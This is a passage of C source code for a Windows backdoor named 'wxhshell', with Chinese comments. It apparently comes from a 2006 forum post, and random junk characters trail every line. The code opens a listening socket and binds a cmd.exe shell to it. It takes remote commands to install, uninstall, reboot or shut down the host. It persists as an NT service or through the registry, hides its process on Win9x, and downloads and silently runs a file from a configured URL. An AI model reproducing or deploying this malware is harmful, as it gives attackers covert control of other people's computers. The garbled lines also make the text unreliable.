    switch(cmd[0]) { PuZs 5J3  
  Nv?-*&L  
  // 帮助 >q@Sd  
  case '?': { 2FIR]@MQd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?Wg{oB@(  
    break; BCUt`;q ]B  
  } 51G=RYay9  
  // 安装 ? x"HX|n  
  case 'i': { pq[X)]z|  
    if(Install()) "WbVCT'i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MziZN^(  
    else T3 9C lH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^@`e  
    break; / $9 :L  
    } z{pC7e5  
  // 卸载 {!}F :~*r  
  case 'r': { juMxl  
    if(Uninstall()) Bhu@ 2KdA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HS\3)Ooj>  
    else g+}s:9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,<$YVXe/  
    break; ,9Z2cgXwJ  
    } z^rhgs?4  
  // 显示 wxhshell 所在路径 b H"}w$!>r  
  case 'p': { k%]DT.cE  
    char svExeFile[MAX_PATH]; FE+7X=y  
    strcpy(svExeFile,"\n\r"); 3WCqKXJ7  
      strcat(svExeFile,ExeFile); c.(Ud`jc  
        send(wsh,svExeFile,strlen(svExeFile),0); 7a:*Y"f,~  
    break; T)(e!Xz  
    } F)/~p&H  
  // 重启 Dd0Qp-:2  
  case 'b': { t=Z&eKDC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |^Ew<  
    if(Boot(REBOOT)) 7|QGY7Tf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M|UxE/  
    else { *D?((_+  
    closesocket(wsh); _Z+jQFKJ\8  
    ExitThread(0); \E$1lc  
    } N7*CP|?E  
    break; .Vo"AuC}  
    } X`yNR;>  
  // 关机 -DP8NTl"  
  case 'd': { B2~f;zy`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~reQV6oQua  
    if(Boot(SHUTDOWN)) "xvtqi,R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [d4,gEx`Q\  
    else { ^\M dl  
    closesocket(wsh); :1aL9 fT  
    ExitThread(0); .pZo(*  
    } (R_CUH  
    break; -3.UE^W2  
    } }RcK_w@Jx)  
  // 获取shell h/I@_?k+  
  case 's': { cMDRWh  
    CmdShell(wsh); s$DGd T)  
    closesocket(wsh); PZys  u  
    ExitThread(0); Z)mX,=p  
    break; &/s~? Iq  
  } aS,a_b]  
  // 退出 dh&W;zs  
  case 'x': { nVxq72o@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [{`)j  
    CloseIt(wsh); bvl~[p$W3  
    break; F9MR5O"  
    } pT4qPta,2  
  // 离开 ^vpIZjN  
  case 'q': { * [tc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZA0i)(j*Mn  
    closesocket(wsh); bE?'C h  
    WSACleanup(); {3hqp*xl  
    exit(1); dCE\^q[{  
    break; u7HvdLql  
        } 'WK;$XQ  
  } Uz 0W <u3v  
  } 9#uIC7M  
A2y6UzLYD  
  // 提示信息 i;c'P}[K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rFo\+//  
} q]px(  
  } a mqOxb  
j'+ELKQ  
  return; }'%^jt[3  
} ;{k=C2  
O#Z/+\U  
// shell模块句柄 ;)?( 2 wP  
int CmdShell(SOCKET sock) ^] 6M["d/p  
{ .`,F  
STARTUPINFO si; Hle\ON  
ZeroMemory(&si,sizeof(si)); )u;JwFstX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |zq4*  5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]ni6p&b>  
PROCESS_INFORMATION ProcessInfo; r} Lb3`'  
char cmdline[]="cmd"; !tU'J"Zy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }f#_4ACaD  
  return 0; NPm;  
} Q"%S~&#'  
Kq&qE>Ju  
// 自身启动模式 mQ}Gh_'ps  
int StartFromService(void) MTb,Kmw<(  
{ l-}KmZ]  
typedef struct rfs(#  
{ n!G.At'JP  
  DWORD ExitStatus; RNTa XR+Zn  
  DWORD PebBaseAddress; O2.' -  
  DWORD AffinityMask; ,}0$Tv\1  
  DWORD BasePriority; jH>8bXQqZ  
  ULONG UniqueProcessId; }_}KVI  
  ULONG InheritedFromUniqueProcessId; URA0ey`  
}   PROCESS_BASIC_INFORMATION; Z~p!C/B  
ZjD)? 4  
PROCNTQSIP NtQueryInformationProcess; T|;@ T^  
4(=kE>n}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2no$+4+z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uvnI>gv  
cJDd0(tD!  
  HANDLE             hProcess; ~~nqU pK?v  
  PROCESS_BASIC_INFORMATION pbi; #f{lC0~vA  
9 |.Ao  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GqLq  gns  
  if(NULL == hInst ) return 0; L0Y0&;y|R  
Fi2xr<7"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2-dh;[4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nPFwPk8=M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J;}3t!  
"AC^ rz~U  
  if (!NtQueryInformationProcess) return 0; m%QSapV  
*geN [ [  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :,S98z#  
  if(!hProcess) return 0; #HAC*n  
r37[)kJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yNCEz/4  
; s|w{.<:  
  CloseHandle(hProcess); 5o)Y$>T0  
~ #PLAP3-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3qaMO#{M  
if(hProcess==NULL) return 0; GZ3 ]N  
T2FE+A]n9  
HMODULE hMod; W)*p2 #l  
char procName[255]; i"r!w|j  
unsigned long cbNeeded; "m$3)7 $  
?o*I9[Z)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DM{ 4@*]  
SA;#aj}rV  
  CloseHandle(hProcess); ik.A1j9oN  
Vh|\_~9  
if(strstr(procName,"services")) return 1; // 以服务启动 y_p.Gzy(^}  
Kibr ]w  
  return 0; // 注册表启动 % 0T+t.  
} P7.'kX9  
hK|j6x f.o  
// 主模块 x,n,Qlb  
int StartWxhshell(LPSTR lpCmdLine) r'GP$0rr9!  
{ O|kOI?f  
  SOCKET wsl; =(HeF.!  
BOOL val=TRUE; wkUlrL/~  
  int port=0; p-GAe,2q  
  struct sockaddr_in door; qS| \JG  
em{(4!W>  
  if(wscfg.ws_autoins) Install(); 2`G OJ,$  
%]2, &  
port=atoi(lpCmdLine); $za8"T*I  
eWJ`$"z  
if(port<=0) port=wscfg.ws_port; r|u MovnV  
Jl3g{a  
  WSADATA data; A/7{oB:a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; **3 z;58i  
s$D ^>0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;r[@v347  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z;/$niY  
  door.sin_family = AF_INET; <r#eL39I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4)|8Eu[p7  
  door.sin_port = htons(port); >TkE~7?l  
G3G#ep~)vC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .Z:zZ_Ev  
closesocket(wsl); ="wzq+U  
return 1; ^. dsW0"0  
} :L44]K5FL  
Qx;\USv  
  if(listen(wsl,2) == INVALID_SOCKET) { D=m 'pL/pl  
closesocket(wsl); SCvVt  
return 1; ydRC1~f0  
} - K9c@?  
  Wxhshell(wsl); m< _S_c  
  WSACleanup(); S"wR%\NIp  
S}p4iE"n  
return 0; )E@A0W  
$hivlI-7Ko  
} &wD;SMr<  
h$4Hw+Yxs]  
// 以NT服务方式启动 =jB08A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N(I&  
{ fF b_J`'ue  
DWORD   status = 0; ):i&`}SY  
  DWORD   specificError = 0xfffffff; 3|.um_  
LaQ-=;(`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N"nd*?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xx[9~z=d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]]Cb$$Td  
  serviceStatus.dwWin32ExitCode     = 0; B!vmQR*1  
  serviceStatus.dwServiceSpecificExitCode = 0; M$Zcn#A  
  serviceStatus.dwCheckPoint       = 0; E_vq  
  serviceStatus.dwWaitHint       = 0; kS bu]AB  
cWoPB _  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S H!  
  if (hServiceStatusHandle==0) return; N5a*7EJv+  
xlhG,bb7  
status = GetLastError(); F(tx)V ~T3  
  if (status!=NO_ERROR)  o4|M0  
{ i_j[?.?X}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q WQ/ 'M  
    serviceStatus.dwCheckPoint       = 0; bD/~eIcWL  
    serviceStatus.dwWaitHint       = 0; z^'gx@YD*v  
    serviceStatus.dwWin32ExitCode     = status; /Mvf8v  
    serviceStatus.dwServiceSpecificExitCode = specificError; L*YynF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;M)QwF1  
    return; 3j\1S1  
  } etTn_v  
 R}O_[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U4d:] z  
  serviceStatus.dwCheckPoint       = 0; 6}d.5^7lr  
  serviceStatus.dwWaitHint       = 0; ZrsBm_Rx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #ZB~ x6i6  
} MF5[lK9e  
@7IIM{  
// 处理NT服务事件,比如:启动、停止 RZXjgddL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E=nIRG|g  
{ <J) ]mh dm  
switch(fdwControl) Dfmjw  
{ <0Xf9a8>  
case SERVICE_CONTROL_STOP: 37s0e;aF  
  serviceStatus.dwWin32ExitCode = 0; F(>Np2oi6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h1de[q)  
  serviceStatus.dwCheckPoint   = 0; aAD^^l#  
  serviceStatus.dwWaitHint     = 0; .(K)?r-g5  
  { AE[b},-[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Y"+,$$>Y`  
  } ]'&LGA`  
  return; pR=@S>!|  
case SERVICE_CONTROL_PAUSE: ZrpU <   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !|^|,"A)  
  break; =;Au<|  
case SERVICE_CONTROL_CONTINUE: u_oaebOrpP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CsGx@\jN  
  break; 8\+uec]k  
case SERVICE_CONTROL_INTERROGATE: -t!~%_WCv  
  break; wW>A_{Y  
}; V% rzk*LA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z^3rLCa  
} =$'6(aDH  
]_f_w 9]  
// 标准应用程序主函数 &u$Q4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y0L_"e/  
{ _kef 0K6  
M\uiq38  
// 获取操作系统版本 J,'M4O\S  
OsIsNt=GetOsVer(); Ag-(5:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Sc]B#/~B  
1m4$p2j  
  // 从命令行安装 fDv2JdiU  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3dg1DR;  
\V;F/Zy(  
  // 下载执行文件 =W(Q34  
if(wscfg.ws_downexe) { u-QB.iQ+s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G/)O@Ugp  
  WinExec(wscfg.ws_filenam,SW_HIDE); )}Hpi<5N  
} 1+_`^|eK  
t% d Z-Ym  
if(!OsIsNt) { P78g /p T  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ytn9B}%o  
HideProc(); 94'&b=5+  
StartWxhshell(lpCmdLine); ~[t[y~Hup  
} c[0}AG J  
else Ouk ^O}W6  
  if(StartFromService()) qqjwJ!@P  
  // 以服务方式启动 {&&z-^  
  StartServiceCtrlDispatcher(DispatchTable); \"7*{L:  
else Ogqj?]2QC  
  // 普通方式启动 q`Go`v  
  StartWxhshell(lpCmdLine); 0{5w 6  
8?xE6  
return 0; 2=*H 8'k  
}
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只看该作者 1 发表于: 2006-10-10
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